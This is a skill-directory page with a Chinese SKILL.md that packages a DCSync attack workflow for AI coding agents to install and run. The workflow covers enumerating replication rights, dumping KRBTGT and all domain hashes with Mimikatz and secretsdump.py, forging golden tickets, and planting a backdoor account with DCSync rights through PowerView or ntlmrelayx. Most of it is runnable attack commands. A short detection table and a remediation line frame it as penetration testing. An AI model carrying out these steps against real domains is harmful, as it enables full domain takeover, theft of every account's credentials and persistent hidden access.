conducting-domain-persistence-with-dcsync
执行 DCSync 攻击以复制活动目录(Active Directory)凭据,通过提取 KRBTGT、域管理员和服务账户哈希来建立域持久化,并用于创建黄金票据(Golden Ticket)。
Best use case
conducting-domain-persistence-with-dcsync is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
执行 DCSync 攻击以复制活动目录(Active Directory)凭据,通过提取 KRBTGT、域管理员和服务账户哈希来建立域持久化,并用于创建黄金票据(Golden Ticket)。
Teams using conducting-domain-persistence-with-dcsync should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/conducting-domain-persistence-with-dcsync/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How conducting-domain-persistence-with-dcsync Compares
| Feature / Agent | conducting-domain-persistence-with-dcsync | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
执行 DCSync 攻击以复制活动目录(Active Directory)凭据,通过提取 KRBTGT、域管理员和服务账户哈希来建立域持久化,并用于创建黄金票据(Golden Ticket)。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 DCSync 实施域持久化
## 概述
DCSync 是一种攻击技术,它滥用微软目录复制服务远程协议(MS-DRSR)来模拟域控制器(Domain Controller)并向目标 DC 请求密码数据。该攻击由 Benjamin Delpy(Mimikatz 作者)和 Vincent Le Toux 引入,利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。任何拥有这些权限的主体(用户或计算机)都可以复制域中任何账户(包括 KRBTGT 账户)的密码哈希。有了 KRBTGT 哈希,攻击者可以伪造黄金票据(Golden Ticket)实现无限期域持久化。DCSync 被归类为 MITRE ATT&CK T1003.006,是 APT 组织(包括 APT28(Fancy Bear)、APT29(Cozy Bear)和 FIN6)使用的关键后渗透技术。
## 目标
- 识别活动目录中具有 DCSync(复制)权限的账户
- 使用 Mimikatz 或 Impacket 的 secretsdump.py 执行 DCSync
- 提取 KRBTGT 账户哈希用于黄金票据创建
- 转储所有域用户密码哈希用于凭据分析
- 伪造黄金票据实现持久化域访问
- 向受控账户授予 DCSync 权限以实现替代持久化
- 记录攻击链和持久化机制
## MITRE ATT&CK 映射
- **T1003.006** - 操作系统凭据转储:DCSync
- **T1558.001** - 窃取或伪造 Kerberos 票据:黄金票据
- **T1222.001** - 文件和目录权限修改:Windows
- **T1098** - 账户操控
- **T1078.002** - 有效账户:域账户
## 实施步骤
### 阶段一:识别具有 DCSync 权限的账户
1. 枚举具有复制权限的主体:
```powershell
# 使用 PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# 使用 BloodHound Cypher 查询
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
```
2. 使用 Impacket 的 FindDelegation 或自定义 LDAP 查询:
```bash
# 使用 Impacket 检查
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
```
3. 默认具有 DCSync 权限的账户:
- Domain Admins
- Enterprise Admins
- Domain Controllers 组
- 域控制器上的 SYSTEM
### 阶段二:DCSync 凭据提取
1. 使用 Mimikatz(Windows):
```powershell
# 转储特定账户(KRBTGT 用于黄金票据)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# 转储域管理员
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# 转储所有域账户
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
```
2. 使用 Impacket secretsdump.py(Linux):
```bash
# 转储所有凭据
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# 转储特定用户
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# 仅转储 NTLM 哈希(不含 Kerberos 密钥)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# 使用 Kerberos 认证
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
```
### 阶段三:黄金票据创建
1. 使用 Mimikatz 和提取的 KRBTGT 哈希:
```powershell
# 创建黄金票据
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# 创建具有特定组成员资格的票据
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
```
2. 使用 Impacket ticketer.py(Linux):
```bash
# 创建黄金票据
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# 使用票据
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
```
### 阶段四:通过 DCSync 权限实现持久化
1. 向受控账户授予 DCSync 权限以实现持久化:
```powershell
# 使用 PowerView - 添加 DS-Replication-Get-Changes-All 权限
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# 验证权限已添加
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
```
2. 使用 ntlmrelayx.py 自动提升 DCSync 权限:
```bash
# 中继认证以添加 DCSync 权限
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
```
## 工具与资源
| 工具 | 用途 | 平台 |
|------|---------|----------|
| Mimikatz | DCSync 提取、黄金票据创建 | Windows |
| secretsdump.py | 远程 DCSync(Impacket) | Linux(Python) |
| ticketer.py | 黄金票据创建(Impacket) | Linux(Python) |
| PowerView | ACL 枚举和修改 | Windows(PowerShell) |
| Rubeus | Kerberos 票据操控 | Windows(.NET) |
| ntlmrelayx.py | 通过中继提升 DCSync 权限 | Linux(Python) |
## 需提取的关键哈希
| 账户 | 用途 | 持久化价值 |
|---------|---------|-------------------|
| krbtgt | 黄金票据创建 | 无限期域访问 |
| Administrator | 直接 DA 访问 | 即时特权访问 |
| 服务账户 | 横向移动 | 跨域服务访问 |
| 计算机账户 | 银票据(Silver Ticket)创建 | 服务级模拟 |
## 检测特征
| 指标 | 检测方法 |
|-----------|-----------------|
| 来自非 DC 源的 DrsGetNCChanges RPC 调用 | 监控来自异常 IP 的 DRSUAPI 流量 |
| 含复制目录更改 GUID 的事件 4662 | DC 上的 Windows 安全日志(1131f6aa-/1131f6ad- GUID) |
| 含黄金票据异常的事件 4624 | 登录事件中存在不可能的 SID 或不存在的用户 |
| 域根对象上的 ACL 修改 | 事件 5136(目录服务更改) |
| 复制流量量突增 | 网络基线偏差监控 |
## 验证标准
- [ ] 已枚举具有 DCSync 权限的账户
- [ ] 通过 DCSync 提取了 KRBTGT 哈希
- [ ] 成功转储了所有域凭据
- [ ] 已伪造并验证用于 DA 访问的黄金票据
- [ ] 已建立 DCSync 权限持久化机制(如在范围内)
- [ ] 已通过黄金票据验证对域控制器的访问
- [ ] 已记录包含哈希值和时间戳的证据
- [ ] 已提供修复建议(双重 KRBTGT 重置、ACL 审计)Related Skills
performing-subdomain-enumeration-with-subfinder
使用 ProjectDiscovery 的 Subfinder 被动侦察工具枚举目标域名的子域名,在安全评估期间绘制攻击面图谱。
performing-malware-persistence-investigation
系统性地调查 Windows 和 Linux 系统上的所有持久化机制,以识别恶意软件如何在重启后存活并维持访问。
hunting-for-startup-folder-persistence
通过监控 Windows 启动目录中的可疑文件创建、分析 autoruns 条目以及使用 Python watchdog 进行实时文件系统监控,检测 T1547.001 启动文件夹持久化。
hunting-for-scheduled-task-persistence
通过分析任务创建事件、可疑任务操作和异常调度模式,狩猎攻击者通过 Windows 计划任务实现的持久化。
hunting-for-registry-run-key-persistence
通过分析 Sysmon 事件 ID 13 日志和注册表查询,检测 MITRE ATT&CK T1547.001 注册表 Run 键持久化,识别恶意自动启动条目。
hunting-for-registry-persistence-mechanisms
狩猎 Windows 环境中基于注册表的持久化机制,包括 Run 键、Winlogon 修改、IFEO 注入和 COM 劫持。
hunting-for-persistence-via-wmi-subscriptions
通过监控 WMI 消费者、过滤器和绑定创建事件,狩猎攻击者利用 Windows Management Instrumentation 事件订阅实现的持久化,这些订阅在系统事件触发时执行恶意代码。
hunting-for-persistence-mechanisms-in-windows
系统性地狩猎 Windows 终端中的攻击者持久化机制,涵盖注册表、服务、启动文件夹和 WMI 事件订阅。
hunting-for-domain-fronting-c2-traffic
通过分析代理日志中的 SNI 与 HTTP Host 头不匹配以及使用 pyOpenSSL 进行证书检查,检测域前置(domain fronting)C2 流量和 TLS 证书差异。
hunting-for-dns-based-persistence
使用被动 DNS 数据库、SecurityTrails API 和 DNS 审计日志分析,狩猎 DNS 劫持、悬空 CNAME 记录、通配符 DNS 滥用和未授权区域修改等 DNS 持久化机制。
hunting-for-dcsync-attacks
通过分析 Windows 事件 ID 4662,检测非域控制器账户发起的未授权 DS-Replication-Get-Changes 请求,从而发现 DCSync 攻击。
detecting-wmi-persistence
通过分析 Sysmon 事件 ID 19、20 和 21 中的恶意 EventFilter、EventConsumer 和 FilterToConsumerBinding 创建,检测 WMI 事件订阅持久化。